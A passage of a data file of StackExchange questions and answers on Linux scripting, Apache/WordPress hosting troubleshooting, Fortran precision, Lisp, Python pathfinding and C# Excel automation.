return SUCCESS;    }    return ERROR;}"  } 
{  "id": "_unix.360283"  , "question": "Would anybody have a quick script to add the used space out of a df command on Linux? I can do a RedHat rhel 6 but the rhel 5 switch for total is non-existent. I am looking to add the total of column 2 (after dev/mapper column). /dev/mapper/rootvg-LogVol00    7.5G   3.0G  4.2G   43%   //dev/mapper/rootvg-LogVol02    2.0G   914M  969M   49%   /tmp/dev/mapper/rootvg-LogVol01    3.9G   1.2G  2.6G   31%   /home/dev/mapper/rootvg-LogVol07    992M   492M  450M   53%   /opt/dev/mapper/rootvg-LogVol08    4.9G   1.1G  3.6G   24%   /opt/patrol3/dev/mapper/rootvg-LogVol03    3.9G   1.9G  1.9G   51%   /usr/dev/mapper/rootvg-LogVol05    3.0G   469M  2.3G   17%   /usr/local/dev/mapper/rootvg-LogVol04    5.9G   934M  4.7G   17%   /var/dev/mapper/rootvg-LogVol11    496M   357M  114M   76%   /nsr/dev/mapper/rootvg-LogVol09    3.0G   428M  2.4G   16%   /opt/patrol3/perform/dev/mapper/rootvg-LogVol12    14G    3.0G  9.5G   24%   /var/crash"  , "title": "script to add output from df -Ph"  , "tags": "scripting;disk usage"  } 
{  "id": "_cs.55647"  , "question": "I'm performing a simulation of protein-protein interactions. I'm using Python to code logic gates as functions to model protein interactions. My model is basically a series of groups (g0 to g4) containing logic gates (see image). Initially, I set up a list containing my groups, and then for each group a dict that contains proteins (nodes) with their starting values (their so-called seedValues, which are the starting parameters for the network at $t=0$).My question is this: is there some way of iterating through my groups (and their logic gate functions), that begins at group 0 (g0 in the image) at t, and that at t=t+1 executes groups g0 and g1 synchronously, then executes the three groups g0, g1 and g2 at t=t+2, and so on until t=m, where m is the number of iterations wanted?Image notes: A and B are switches (the program is supposed to change them, as a way of studying perturbations), C is a constant (never changed). J is the output (mostly for show). D and F are built that way to oscillate, whenever A = 0.I've understood that threading might be the solution to my problem, but before I dive into that I'm interested in finding a simpler way of solving this.Because I don't know how to formulate this in Python, I attach some extremely messy pseudocode:     #setting starting conditions    #g is starting group    #m is max number of iterations    #t is time    #u is the number of nodes    #v is the number of groupsg = m = t = 0u = x (where x is the number of nodes in the model)v = y (where y is the number of groups in the model)#implement node iteratornodeChecker():    timeStep():        t = t + 1    nodeExecute(p):        #p is the number of groups to execute over, in the interval 1 <= g <= v (p=1 is group 1, p=2 is group 1 and 2, ...)        execute all nodes inside selected group(s)        timeStep()    printResults():        print results of execution of nodes at time of execution        print state of unexecuted groups (minus current group(s)) #print the seedValue states of network before execution    at time t, execute nodes in g        nodeExecute(1)        printResults()    at time t+1, execute nodes in g and g+1        nodeExecute(2)        printResults()    ...    at time t = m, execute nodes in group g, g+1 ... g+(u-1)        nodeExecute(g+(u-1))        printResults()    stop executionCode note: 1 <= g <= v is the interval $1 \\leq$ g $\\leq$ v. x and y aren't code variables; the notation is supposed to indicate u = $x$ and v = $y$.My ambition is to output something like:    t   0   1   2   ... mnode1   0   1   0       1node2   1   1   0       0node3   0   0   1       0Thank you for your time."  , "title": "Stepping through a sequence of grouped logic gates"  , "tags": "logic;simulation;sequential circuit;bio inspired computing"  } 
{  "id": "_softwareengineering.98588"  , "question": "I'm a QA guy and designer and i'm coming to development. How do most developers architect programs? With design I build up with a vague idea of what I have in mind and adapt my design to keep in moving forward and looking good. With coding, I'm trying the same methodology. I'm constantly testing and debugging my code and I make forward moving tweaks to my code. The problem is, I dont think this is how it's done. When I look at good Javascript for example, everything is broken out into evenly distributed functions. I don't architect my code in this way. Do you normally have to sit out and draw out your classes and functions before you start writing?"  , "title": "How do you think about and architect programs?"  , "tags": "design"  , "accepted_answer": "Some devs architect their designs in UML completely before starting any coding, and others just jump right in. I've seen good designs both ways. The key is, I think, to be open to redesign and refactoring at any stage of development. A beautifully-architected design, conceived in a 300-page requirements document and drawn out with a stack of state and sequence diagrams, can be utter garbage when coded.Be willing to throw out your work whenever necessary. Have the tests in place to prove that your refactored design works as correctly after changes as before. Having tests that you trust will give you the courage to change."  } 
{  "id": "_unix.219654"  , "question": "UPDATE: So it seems that I can access the website from computers outside of the LAN, it's when I try to pull up from any computer on the same LAN as the server that I get an issue. From what I've read it seems like this is a NAT problem. I don't entirely understand the issue, but I know it has to do with how the router treats traffic which is trying to access a public domain that is actually hosted on server connected to the router. My router has an IP triggering feature, and from what I remember about its purpose that may be what I need to configure. Any help in how I would do that would be greatly appreciated!I'm trying to teach myself some server basics by setting up a test server VM in VirtualBox and hosting my own WordPress blog. This is all mostly in preparation for when I finish my thesis, which will include a digital/web version which I would prefer to be able to host myself. Everything has gone pretty smoothly. I got a LAMP set up working, created a couple of test Virtual Hosts, installed WordPress and was able to visit all the Virtual Hosts, including the one with my WordPress blog, from within my LAN. Where I have run into trouble is trying to open the server to the Internet. I bought a domain name and set up dynamic DNS (I'm on a residential Comcast account) using this guide, which seemed to work, but for the life of me I can't seem to get it working and I'm out of troubleshooting ideas. Any help would be greatly appreciated.Setup details:The desktop on which the VM lives is running Windows 7, not sure if you all need hardware specifics, but it's a gaming machine with a decent bit of power.I'm using VirtualBox for the VM, and I have it set up with a Bridged connection.Ubuntu Server 14.04 is the OS on the VMUsing LAMP setup, and I changed my document root to /srv, just made more sense to me.Using Namecheap.com for dynamic DNS. I set it up using the guide above, and got a success message. Also it updated the IP in host settings at namecheap.com, all of which leads me to believe that my dynamic DNS is likely configured properly. But I'm a noob, so who knows.On my router I've forwarded ports 80, 443 and even 8080 just in case. I've also put my server in DMZ, and even tried turning off the firewall all together.I'm using a modem and router 2-in-1 from Comcast. It's running eMTA & DOCSIS Software Version:7.6.116.Not sure what all log/conf info will help, so hopefully this isn't overkill...Apache2.conf# Global configuration### ServerRoot: The top of the directory tree under which the server's# configuration, error, and log files are kept.## NOTE!  If you intend to place this on an NFS (or otherwise network)# mounted filesystem then please read the Mutex documentation (available# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);# you will save yourself a lot of trouble.## Do NOT add a slash at the end of the directory path.##ServerRoot /etc/apache2# Trying to fix internet acessability issue...# ServerName anarchoanthro.com <-- this got rid of that startup error, but              otherwise didn't work.## The accept serialization lock file MUST BE STORED ON A LOCAL DISK.#Mutex file:${APACHE_LOCK_DIR} default## PidFile: The file in which the server should record its process# identification number when it starts.# This needs to be set in /etc/apache2/envvars#PidFile ${APACHE_PID_FILE}## Timeout: The number of seconds before receives and sends time out.#Timeout 300## KeepAlive: Whether or not to allow persistent connections (more than# one request per connection). Set to Off to deactivate.#KeepAlive On## MaxKeepAliveRequests: The maximum number of requests to allow# during a persistent connection. Set to 0 to allow an unlimited amount.# We recommend you leave this number high, for maximum performance.#MaxKeepAliveRequests 100## KeepAliveTimeout: Number of seconds to wait for the next request from the# same client on the same connection.#KeepAliveTimeout 5# These need to be set in /etc/apache2/envvarsUser ${APACHE_RUN_USER}Group ${APACHE_RUN_GROUP}## HostnameLookups: Log the names of clients or just their IP addresses# e.g., www.apache.org (on) or 204.62.129.132 (off).# The default is off because it'd be overall better for the net if people# had to knowingly turn this feature on, since enabling it means that# each client request will result in AT LEAST one lookup request to the# nameserver.#HostnameLookups Off# ErrorLog: The location of the error log file.# If you do not specify an ErrorLog directive within a <VirtualHost># container, error messages relating to that virtual host will be# logged here.  If you *do* define an error logfile for a <VirtualHost># container, that host's errors will be logged there and not here.#ErrorLog ${APACHE_LOG_DIR}/error.log## LogLevel: Control the severity of messages logged to the error_log.# Available values: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the log level for particular modules, e.g.# LogLevel info ssl:warn#LogLevel warn# Include module configuration:IncludeOptional mods-enabled/*.loadIncludeOptional mods-enabled/*.conf# Include list of ports to listen onInclude ports.conf# Sets the default security model of the Apache2 HTTPD server. It does# not allow access to the root filesystem outside of /usr/share and /var/www.# The former is used by web applications packaged in Debian,# the latter may be used for local directories served by the web server. If# your system is serving content from a sub-directory in /srv you must allow# access here, or in any related virtual host.<Directory />        Options FollowSymLinks        AllowOverride None        Require all denied</Directory><Directory /usr/share>        AllowOverride None        Require all granted</Directory><Directory /var/www/>        Options FollowSymLinks        AllowOverride None        Require all granted</Directory><Directory /srv/>        Options FollowSymLinks IncludesNOEXEC        XBitHack on        AllowOverride None        Require all granted</Directory># AccessFileName: The name of the file to look for in each directory# for additional configuration directives.  See also the AllowOverride# directive.#AccessFileName .htaccess## The following lines prevent .htaccess and .htpasswd files from being# viewed by Web clients.#<FilesMatch ^\\.ht>        Require all denied</FilesMatch>## The following directives define some format nicknames for use with# a CustomLog directive.## These deviate from the Common Log Format definitions in that they use %O# (the actual bytes sent including headers) instead of %b (the size of the# requested file), because the latter makes it impossible to detect partial# requests.## Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.# Use mod_remoteip instead.#LogFormat %v:%p %h %l %u %t \\%r\\ %>s %O \\%{Referer}i\\ \\%{User-Agent}i\\ vhost_combinedLogFormat %h %l %u %t \\%r\\ %>s %O \\%{Referer}i\\ \\%{User-Agent}i\\ combinedLogFormat %h %l %u %t \\%r\\ %>s %O commonLogFormat %{Referer}i -> %U refererLogFormat %{User-agent}i agent# Include of directories ignores editors' and dpkg's backup files,# see README.Debian for details.# Include generic snippets of statementsIncludeOptional conf-enabled/*.conf# Include the virtual host configurations:IncludeOptional sites-enabled/*.conf# vim: syntax=apache ts=4 sw=4 sts=4 sr noetUserDir disabled rootports.conf# If you just change the port or add more ports here, you will likely also# have to change the VirtualHost statement in# /etc/apache2/sites-enabled/000-default.confListen 80Listen 8080<IfModule ssl_module>        Listen 443</IfModule><IfModule mod_gnutls.c>        Listen 443</IfModule># vim: syntax=apache ts=4 sw=4 sts=4 sr noetmy-wpsite.conf <-- This is the only site enabled, and I just copied the default.conf and edited it.<VirtualHost *:80>    # The ServerName directive sets the request scheme, hostname and port that    # the server uses to identify itself. This is used when creating    # redirection URLs. In the context of virtual hosts, the ServerName    # specifies what hostname must appear in the request's Host: header to    # match this virtual host. For the default virtual host (this file) this    # value is not decisive as it is used as a last resort host regardless.    # However, you must set it for any further virtual host explicitly.    #ServerName www.example.com    ServerAdmin johnbltz@gmail.com    ServerName www.anarchoanthro.com    ServerAlias anarchoanthro.com    DocumentRoot /srv/wp-anarchoanthro    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,    # error, crit, alert, emerg.    # It is also possible to configure the loglevel for particular    # modules, e.g.    #LogLevel info ssl:warn    ErrorLog ${APACHE_LOG_DIR}/error.log    CustomLog ${APACHE_LOG_DIR}/access.log combined    # For most configuration files from conf-available/, which are    # enabled or disabled at a global level, it is possible to    # include a line for only one particular virtual host. For example the    # following line enables the CGI configuration for this host only    # after it has been globally disabled with a2disconf.    #Include conf-available/serve-cgi-bin.conf    # Set /srv/testsite1/cgibin/ as CGI script directory.    ScriptAlias /cgi-bin/ /srv/wp-anarchoanthro/cgi-bin/# vim: syntax=apache ts=4 sw=4 sts=4 sr noetAnd here are my logs. I tried to load up anarchoanthro.com, my blog, just before grabbing these. Also I'm only including logs from today, hopefully that will narrow things down.access.log95.134.193.184 - - [01/Aug/2015:04:17:41 -0500] \\x0fK\\x17\\xaf$W\\xff' 200 28811 - -199.30.228.129 - - [01/Aug/2015:05:07:30 -0500] GET / HTTP/1.1 200 7795 - Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.138.105.109.12 - - [01/Aug/2015:05:12:36 -0500] GET / HTTP/1.1 200 29152 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:38 -0500] GET / HTTP/1.1 200 29151 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:39 -0500] GET /wp-content/themes/arcade-basic/library/js/html5.js HTTP/1.1 200 2734 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:39 -0500] GET /wp-includes/js/wp-emoji-release.min.js?ver=4.2.3 HTTP/1.1 200 14953 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:39 -0500] GET /wp-includes/js/jquery/jquery.js?ver=1.11.2 HTTP/1.1 200 96260 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:40 -0500] GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 HTTP/1.1 200 7506 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:40 -0500] GET /wp-content/themes/arcade-basic/library/js/bootstrap.min.js?ver=3.0.3 HTTP/1.1 200 6980 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:40 -0500] GET /wp-content/themes/arcade-basic/library/js/fillsize.js?ver=4.2.3 HTTP/1.1 200 2576 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:40 -0500] GET /wp-content/themes/arcade-basic/library/js/jquery.arctext.js?ver=4.2.3 HTTP/1.1 200 10612 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)38.105.109.12 - - [01/Aug/2015:05:12:40 -0500] GET /wp-content/themes/arcade-basic/library/js/theme.js?ver=4.2.3 HTTP/1.1 200 3052 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)64.69.91.210 - - [01/Aug/2015:06:02:54 -0500] GET / HTTP/1.1 200 29128 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)192.187.110.98 - - [01/Aug/2015:06:54:53 -0500] GET http://testp2.czar.bielawa.pl/testproxy.php HTTP/1.1 404 356 - Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0141.212.122.59 - - [01/Aug/2015:07:56:56 -0500] CONNECT proxytest.zmap.io:80 HTTP/1.1 200 27778 - Mozilla/5.0 zgrab/0.x141.212.122.59 - - [01/Aug/2015:07:56:57 -0500] GET / HTTP/1.1 200 30504 - Mozilla/5.0 zgrab/0.x104.238.194.164 - - [01/Aug/2015:09:32:09 -0500] GET / HTTP/1.1 200 29153 - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)46.172.71.251 - - [01/Aug/2015:12:12:51 -0500] GET /rom-0 HTTP/1.1 404 367 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)error.log[Sat Aug 01 06:54:53.947240 2015] [:error] [pid 4035] [client 192.187.110.98:56439] script '/srv/wp-anarchoanthro/testproxy.php' not found or unable to stat[Sat Aug 01 11:23:56.393436 2015] [mpm_prefork:notice] [pid 3918] AH00169: caught SIGTERM, shutting down[Sat Aug 01 11:23:57.476298 2015] [mpm_prefork:notice] [pid 4943] AH00163: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.11 OpenSSL/1.0.1f configured -- resuming normal operations[Sat Aug 01 11:23:57.476333 2015] [core:notice] [pid 4943] AH00094: Command line: '/usr/sbin/apache2'[Sat Aug 01 12:30:02.492747 2015] [mpm_prefork:notice] [pid 4943] AH00169: caught SIGTERM, shutting down[Sat Aug 01 12:30:03.513348 2015] [mpm_prefork:notice] [pid 5037] AH00163: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.11 OpenSSL/1.0.1f configured -- resuming normal operations[Sat Aug 01 12:30:03.513384 2015] [core:notice] [pid 5037] AH00094: Command line: '/usr/sbin/apache2'other_vhosts_access.log127.0.1.1:80 216.218.206.68 - - [01/Aug/2015:01:31:36 -0500] \\x16\\x03\\x01 400 0 - -127.0.1.1:80 141.212.122.42 - - [01/Aug/2015:03:15:26 -0500] \\x16\\x03\\x01 400 0 - -127.0.1.1:80 65.31.172.201 - - [01/Aug/2015:06:20:06 -0500] \\x80F\\x01\\x03\\x01 400 0 - -127.0.1.1:80 50.77.106.104 - - [01/Aug/2015:06:44:22 -0500] \\x80F\\x01\\x03\\x01 400 0 - -127.0.1.1:80 71.174.188.128 - - [01/Aug/2015:07:29:10 -0500] \\x80F\\x01\\x03\\x01 400 0 - -127.0.1.1:80 98.251.14.214 - - [01/Aug/2015:09:31:43 -0500] \\x80F\\x01\\x03\\x01 400 0 - -127.0.1.1:80 89.248.171.137 - - [01/Aug/2015:10:22:04 -0500] \\x16\\x03\\x01 400 0 - -anarchoanthro.com:80 177.206.182.186 - - [01/Aug/2015:12:08:54 -0500] \\x80F\\x01\\x03\\x01 400 0 - -Result of route commandKernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Ifacedefault         10.0.0.1        0.0.0.0         UG    0      0        0 eth010.0.0.0        *               255.255.255.0   U     0      0        0 eth0Any help on this would be greatly appreciated!!!"  , "title": "Cannot Access LAMP Web Server on Ubuntu Server 14.04"  , "tags": "ubuntu;apache httpd;mysql;wordpress"  , "accepted_answer": "First of all I would check that I could reach the web server from a second PC on your LAN. You would probably need an entry in your hosts file to map the domain name you the internal address. This will confirm that the server is bridged correctly and isn't firewalled, and can route to the LAN.I would then check that the server had a default route pointing to your gateway. Without this it can't reply to - or even acknowledge - inbound requests.Finally I would run a network sniffer such as Wireshark on the server and watch for a controlled connection inbound from outside your LAN. This will confirm traffic is routed correctly.Some ISPs, particularly in USA, block traffic to port 80. You will want to check this, too, if it's appropriate for your situation.You need port 80 for http, 443 for https. You don't need 8080. You might want to forward or at least have your router respond to ping.Many home routers cannot handle an internal request to their external ip address that us then forwarded internally. Exclude this situation from your tests, at least initially."  } 
{  "id": "_unix.198653"  , "question": "Alright, I have two folders. For simplicity's sake, I'll call them people and animals. The animals folder has a file for each animal, and the people folder has a file for each person with references to which animals that person owns. This is what I have so far:ls -1 ~/animals | cut -d. -f1 | grep -R -f - ~/peopleThe grep syntax I got from here. I'm trying to get it to say:dog: 8cat: 7hippo: 2Instead, I add the -c flag to grep and I get:Bob.txt: 0Cathy.txt: 0John.txt: 0Patrick.txt: 1How do I get counts of the animals in total, not the animals for each person?"  , "title": "How do I get a count of file references inside a folder of files with those references?"  , "tags": "files;grep;search"  } 
{  "id": "_scicomp.910"  , "question": "Recently, I've encountered a bizarre problem with FORTRAN95.  I initialized variables X and Y as follows: X=1.0Y=0.1Later I add them together and print the result:  1.10000000149012After examining the variables, it seems as though 0.1 is not represented in double precision with full accuracy.  Is there any way to avoid this?"  , "title": "How to set double precision values in Fortran"  , "tags": "fortran;floating point"  , "accepted_answer": "Another way to do this is to first explicitly specify the precision you desire in the variable using the SELECTED_REAL_KIND intrinsic and then use this to define and initialize the variables. Something like:INTEGER, PARAMETER :: dp = SELECTED_REAL_KIND(15)REAL(dp) :: xx = 1.0_dpA nice advantage to doing it this way is that you can store the definition of dp in a module, then USE that module where needed. Now if you ever want to change the precision of your program, you only have to change the definition of dp in that one place instead of searching and replacing all the D0s at the end of your variable initializations. (This is also why I'd recommend not using the 1.0D-1 syntax to define Y as suggested. It works, but makes it harder to find and change all instances in the future.)This page on the Fortran Wiki gives some good additional information on SELECTED_REAL_KIND."  } 
{  "id": "_webapps.24189"  , "question": "Possible Duplicate:My account on Facebook has been hacked - how do I recover it? Somebody hacked my Facebook id recently.And its creating mess in my friend circle.How can I solve this problem.and remove this malicious task.Is anybody can help me for this.I am in great need.Thanks.."  , "title": "Hacked the facebook account"  , "tags": "facebook;account management;notifications"  } 
{  "id": "_unix.109026"  , "question": "I would like to enforce the security access of some files in my Home folder. My concern is about processes running with the same privileges as me having access to those files. I've been wondering about this for some time, because the role based security in Linux is great but weak for things running in the same role. Particularly when it comes to an user account that is very active, every file laying inside the home folder is vulnerable to the user actions. For example, installing a malicious Firefox plug-in, the other parts of the OS won't be touched but all the files inside the home folder can be exposed and installing a Firefox plug-in is something any user could do with out any special privilege."  , "title": "What are the methods to protect home folder files from other applications runing as the same user?"  , "tags": "security"  , "accepted_answer": "You will be probably best off with either a security framework implementing RBAC or MAC (grsecurity for the former, SELinux, AppArmor, Tomoyo Linux for the latter) which lets you define finer grained permissions per application.Apart from that, recent Linux kernels offer namespaces which allow you to change the way different processes see the whole system. If you mount empty directory over say $HOME for the untrusted process, it won't be able to read your files."  } 
{  "id": "_codereview.1318"  , "question": "3.1Write a program that computes the arithmetic sum of a constant  difference sequence:D0 = ADn+1 = Cdn + BRun the following values and compare to the closed form solution:Maximum index = 10,000, a = 1:0; c = 5; b = 2^-15I am not sure I perfectly understand the problem above or how to confirm that I have the correct answer, but I wrote the following short program and I would appreciate any feedback.(defun d-n-plus-1 (d-n c b) (+ (* d-n c) b))(defun d-depth (depth d-n c b a)  (if (equal depth 0) (d-n-plus-1 d-n c b)    (d-depth (1- depth)          (if (null d-n) a (d-n-plus-1 d-n c b))          c b a)))(format t result: ~a ~% (d-depth 10000 nil 5 (expt 2 -15) 1))In addition, I wrote a version that just uses a loop.  I'm not crazy about loop for x from 1 to depth or that I used setq in this version.  Can you think of a better way?  Any other suggestions for this version are also welcome.(defun d_n+1 (d_n c b) (+ (* d_n c) b)) (defun d-depth (depth d_n c b)  (loop for x from 0 to depth do     (setq d_n (d_n+1 d_n c b)))   d_n)(format t result: ~a ~% (d-depth 10000 1 5 (expt 2 -15)))"  , "title": "Compute arithmetic sum of a constant difference sequence"  , "tags": "lisp;common lisp"  , "accepted_answer": "I notice three things about your code:You're relying on tail-recursion. This is okay if you know your program will only ever run on implementations that perform tail call optimization, but you should be aware that the Common Lisp standard does not require TCO (and more practically speaking some implementations do indeed not offer it). So if you want your program to be portable, you should rewrite it using a loop.Your d-depth function takes d-n and a as parameters, but only uses a in place of d-n if d-n is nil. It'd make more sense to me to remove the a parameter and instead pass in the a value as the initial value for d-n (instead of nil).I would also write d_n instead of d-n to emphasize that n is an index, which is usually written using an underscore in ASCII. Also I'd call d-n-plus-1 d_n+1 instead, there's no reason to spell out plus in lisp.In response to your update:I'm not crazy about loop for x from 1 to depth or that I used setq in this version. Can you think of a better way?for x from 1 to depth is equivalent to repeat depth (unless you actually use x, which you don't). However in your code you're actually starting at 0, not 1 so you'd need repeat (+ 1 x) to get the same number of iterations.The setq can be replaced using the for var = start then replacement-form syntax. The result would be something like this:(defun d-depth (depth a c b)  (loop repeat (+ 1 depth)         for d_n = a then (d_n+1 d_n c b)        finally (return d_n))) Or in scheme :p"  } 
{  "id": "_codereview.92489"  , "question": "I am using Python with libtcodpy to build a turn-based strategy game.In this game each unit has a maximum range which varies from 4-10. This range determines how many steps the unit can take and therefore the distance it can move on the game map.I wish to output all the squares which the unit can move to, based upon its range as well as variable terrain, which increases the number of steps necessary to move over it.This function is what I have to generate these squares and it works but is intolerably slow (takes about 1-2 seconds for the squares to highlight on the map):#Gets a list of all the squares the unit can move to (so that they#can be highlighted later)def get_total_squares(max_range, playerx, playery, team):    global coord_in_range   #List where the final coords will be stored    global T_Map    #Instance of the Map class, i.e the map    #This iterates through an area of the game map defined by the square    #created by the player's maximum range (where the player is in the center    #of the square)    for x in range((playerx-max_range), (playerx+max_range+1)):        for y in range ((playery-max_range), (playery+max_range+1)):            #This creates a path for every square in the above area            path = libtcod.path_new_using_map(new_map, 0)            #This computes a path to every square in the above area            libtcod.path_compute(path, playerx, playery, x, y)            #This gives the number of steps the unit takes to walk one specific path            num_steps = libtcod.path_size(path)            #This is a blank list which will be populated with the coordinates of             #the tiles of one specific path            coord_of_path = []            #This populates the above list            for i in range(libtcod.path_size(path)):                coord_of_path.append(libtcod.path_get(path, i))            #This is a list of all the tiles in the map which can hinder movement            #henceforth called terrain_tiles            terrain_tiles = [tile for tile in T_Map.tile_array                                 if tile.terrain_name in ('Tall Grass', 'Hills', 'Forest', 'Water')]            #This iterates through all the terrain tiles and            #if the tile is in the path, adds that tiles movement penalty            #to the total number of steps to take that path            for tile in terrain_tiles:                if (tile.x, tile.y) in coord_of_path:                    num_steps += tile.move_cost            #This is what actually determines whether the path is added to the             #list of walkable paths; if the path's step count, taking into account            #modifications from terrain, is greater than the unit's range that path is not added            if num_steps <=max_range:                for i in range(libtcod.path_size(path)):                    coord_in_range.append(libtcod.path_get(path, i))    return coord_in_rangeI'm quite certain something in here is acting as a bottleneck and very certain it has something to do with adjusting the paths due to terrain, since if I do it without considering terrain, it runs very fast.If the full code is necessary (I don't think it should be as, stated above, the problem must lie here) I will post it."  , "title": "Pathfinding in turn-based strategy game"  , "tags": "python;performance;pathfinding"  } 
{  "id": "_codereview.148344"  , "question": "After I got this answer, I edited my code after that answer, but the code still seems kind of slow. Can I make any other improvements? And why does the code seem to get slower with every minute? It seems to start great and continue slow. Am I missing something here?using System;using System.Windows.Forms;using Microsoft.Office.Interop.Excel;using System.IO;using System.Linq;using System.Diagnostics;namespace Report{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        string GetLine(string fileName, int line)        {            using (var sr = new StreamReader(fileName))            {                for (int i = 1; i < line; i++)                    sr.ReadLine();                return sr.ReadLine();            }        }        private void button1_Click(object sender, EventArgs e)        {            Stopwatch timer = new Stopwatch();            timer.Start();                   Microsoft.Office.Interop.Excel.Application excelapp = new Microsoft.Office.Interop.Excel.Application();            excelapp.Visible = true;            _Workbook workbook = (_Workbook)(excelapp.Workbooks.Open(textBox2.Text));            _Worksheet worksheet = (_Worksheet)workbook.ActiveSheet;            DateTime dt = DateTime.Now;            foreach (string fileName in Directory.GetFiles(textBox1.Text, *.txt))            {                int row = 1, EmptyRow = 0;                while (Convert.ToString(worksheet.Range[A + row].Value) != null)                {                    row++;                    EmptyRow = row;                }                var line2s = File.ReadLines(fileName).Skip(9).Take(1).ToArray();                             string comp = line2s[0];                string compare = comp.Substring(30, comp.Length - 30);                if (compare != Failed)                {                    continue;                }                else                {                     string[] lines = File.ReadAllLines(fileName);                    string serial = lines[3];                    string data = lines[4];                    string time = lines[5];                    string operat = lines[6];                    string result = lines[9];                    (worksheet.Cells[EmptyRow, 1] as Microsoft.Office.Interop.Excel.Range).Value2 = serial.Substring(30, serial.Length - 30);                    (worksheet.Cells[EmptyRow, 2] as Microsoft.Office.Interop.Excel.Range).Value2 = data.Substring(30, data.Length - 30);                    (worksheet.Cells[EmptyRow, 3] as Microsoft.Office.Interop.Excel.Range).Value2 = time.Substring(30, time.Length - 30);                    (worksheet.Cells[EmptyRow, 4] as Microsoft.Office.Interop.Excel.Range).Value2 = operat.Substring(30, operat.Length - 30);                    (worksheet.Cells[EmptyRow, 5] as Microsoft.Office.Interop.Excel.Range).Value2 = result.Substring(30, result.Length - 30);                    foreach (string line in lines)                    {                        if (line.Contains(FixtureCoverResistance:))                        {                                                      (worksheet.Cells[EmptyRow, 6] as Microsoft.Office.Interop.Excel.Range).Value2 = line.Substring(31, line.Length - 31);                        }                        else if (line.Contains(FwProgrammingCheck:))                        {                                                       (worksheet.Cells[EmptyRow, 7] as Microsoft.Office.Interop.Excel.Range).Value2 = line.Substring(31, line.Length - 31);                        }                        else if (line.Contains(Checksum =))                        {                            (worksheet.Cells[EmptyRow, 8] as Microsoft.Office.Interop.Excel.Range).Value2 = line.Substring(11, line.Length - 11);                        }                        else if (line.Contains(FwEepromCheck:))                        {                            (worksheet.Cells[EmptyRow, 9] as Microsoft.Office.Interop.Excel.Range).Value2 = line.Substring(31, line.Length - 31);                        }                        else if (line.Contains(FixtureCoverResistanceAfterProg:))                        {                            (worksheet.Cells[EmptyRow, 11] as Microsoft.Office.Interop.Excel.Range).Value2 = line.Substring(33, line.Length - 33);                        }                    }                    }            }            TimeSpan ts = timer.Elapsed;            label2.Text = ts.ToString(mm\\\\:ss\\\\.ff);            timer.Stop();        }        private void button2_Click(object sender, EventArgs e)        {            if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)            {                textBox1.Text = folderBrowserDialog1.SelectedPath;            }                          }        private void button3_Click(object sender, EventArgs e)        {            if (openFileDialog1.ShowDialog() == DialogResult.OK)            {                textBox2.Text = openFileDialog1.FileName.ToString();            }        }    }}"  , "title": "Extracting data from .txt files and writing to Excel - follow-up"  , "tags": "c#;performance;excel"  , "accepted_answer": "I am not providing review from programming good practice or architecture perspective. I just want to provide you some recommendations to improve performance of your code you have asked.1) Find first empty cell on worksheetYour while loop way to find first empty row is inefficient. Getting value from cell via Interop is slow.Instead of this block:while (Convert.ToString(worksheet.Range[A + row].Value) != null){   row++;   EmptyRow = row;}Use single line built in Excel function:int emptyRow = worksheet.Cells[worksheet.Cells.Rows.Count, A].End[-4162].Row + 1;Constant -4162 is xlUp constant and you can find it in Excel documentation or in object browser in VBE.2) Use temporary string[] arrayWriting to worksheet cells one by one is inefficient. Work with string array and fill final array at once into worksheet.You can initialize array:string[,] rangeArray = new string[1, 11];    Then instead of writing values to cells:(worksheet.Cells[EmptyRow, 1] as Range).Value2 = serial.Substring(30, serial.Length - 30);(worksheet.Cells[EmptyRow, 2] as Range).Value2 = data.Substring(30, data.Length - 30);store them in array, which is very fast operation:rangeArray[0,0] = serial.Substring(30, serial.Length - 30);rangeArray[0,1] = data.Substring(30, data.Length - 30);Finally fill array in worksheet:Range c1 = (Range)worksheet.Cells[emptyRow, 1];Range c2 = (Range)worksheet.Cells[emptyRow, 11];Range range = worksheet.Range[c1, c2];range.Value = rangeArray;3) Still not satisfied with performance?If you are still not satisfied with performance, avoid of using Office.Interop. You can parse your text files in C# and store the output in CSV file. The final CSV file you can easily open in Excel.There are also alternatives like ExcelLibrary. This should be also faster than Interop."  } 
{  "id": "_webapps.7034"  , "question": "Are there any third-party websites that use delicious.com's data?Background: I've been searching for information on finding a suitable mattress, and I've found that popular only has about 10 results (not enough signal), while recent gives 9773 results (too much noise)."  , "title": "Are there any third-party websites that use delicious.com's data?"  , "tags": "delicious"  } 
